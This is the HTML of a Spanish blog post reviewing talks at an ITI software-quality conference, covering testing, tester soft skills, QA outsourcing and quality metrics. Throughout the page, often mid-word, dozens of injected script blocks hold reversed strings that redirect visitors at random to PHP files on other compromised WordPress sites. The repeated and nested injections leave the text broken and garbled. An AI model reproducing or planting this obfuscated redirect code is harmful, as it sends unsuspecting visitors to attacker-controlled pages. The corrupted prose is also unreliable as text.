return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo un poco y a cada uno le gustarán más unas ponencias que otras. Yo personalmente, dado que me dedico al desarrollo de software en una pequeña empresa, las que tratan de los procesos de calidad en grandes corporaciones me quedan un poco grandes y me resulta complicado sacar provecho de ellas.</p>
<p><img class="alignright size-full wp-image-456" src="http://blog.climens.net/files/2011/11/logoiti.png" alt="" width="368" height="100" srcset="http://blog.climens.net/files/2011/11/logoiti.png 368w, http://blog.climens.net/files/2011/11/logoiti-300x81.png 300w" sizes="(max-width: 368px) 100vw, 368px" />Empezaron las jornadas con la presentación de <a href="http://twitter.com/mmannise">Maxi Mannise</a>, direc<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tor del Área de Calidad del Software del ITI: «Probado ¿Reprobado? &#8230; ¡Re-Probado!» – Un <a title="definición de reprobado" href="http://buscon.rae.es/draeI/SrvltConsulta?TIPO_BUS=3&amp;LEMA=reprobado">juego de palabras</a> –, que sirvió como entrante de las jornadas dando un repaso general al testeo y los procesos de calidad.</p>
<p>Después vino la presentación de <a href="http://es.a<script>$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«&#8216;php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth&#8217;=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos.net/es-es/»>A<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toS</a>, con una interesante segunda parte sobre cómo se preparan los sistemas informáticos de los JJOO, recordándonos la importancia de que <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo esté bien probado dado que no se pueden permitir ningún fallo – incluso hay un equipo dedicado a «romper» los sistemas y ver cuán<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to tardan en arreglarlos –.</p>
<p>La siguiente vino a cargo de <a href="http://www.softqatest.es/" class="broken_link">An<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tonio Robres</a> sobre las cualidades de un buen tester. Una presentación sencilla que hacía mucho hincapié en <a href="http://en.wikipedia.org/wiki/Soft_skills">las soft skills</a> del perfil, aunque considero que dichas habilidades no solamente son buenas en un tester sino en cualquier persona que ha de trabajar en grupo.</p>
<p>Después vino una presentación de <a href="http://www.softqanetwork.com/comunidad/members/javipello/" class="broken_link">Javier Pello</a> sobre <a href="http://en.wikipedia.org/wiki/Quality_assurance">Quality Assurance</a> que me quedó un poco lejana – tan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to deliverable arriba y abajo me marea – y tras la pausa otra de <a href="http://www.bull.es/">Bull</a> alrededor del outsourcing de proceso de calidad del software (<acronym title="Quality as a Service">QaaS</acronym>), un poco de propaganda, pero para algo patrocinan.</p>
<p>Me gustó mucho la presentación de <a href="https://servicios.excentia.es/confluence/display/QAX/Todo+en+uno" class="broken_link">QAlitaX</a>, tan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to por el ponente, <a href="https://twitter.com/#!/ancamon1">An<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tonio Calero</a>, como por el contenido, versado en las métricas de calidad del software y los resultados obtenidos – no demasiado buenos, <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo sea dicho – después de analizar unos 50 proyec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos de software de <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todos los tamaños. Me dio muchas ideas de qué y cómo medir, que seguro aplicaré en el día a día. Introdujo además el concep<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return 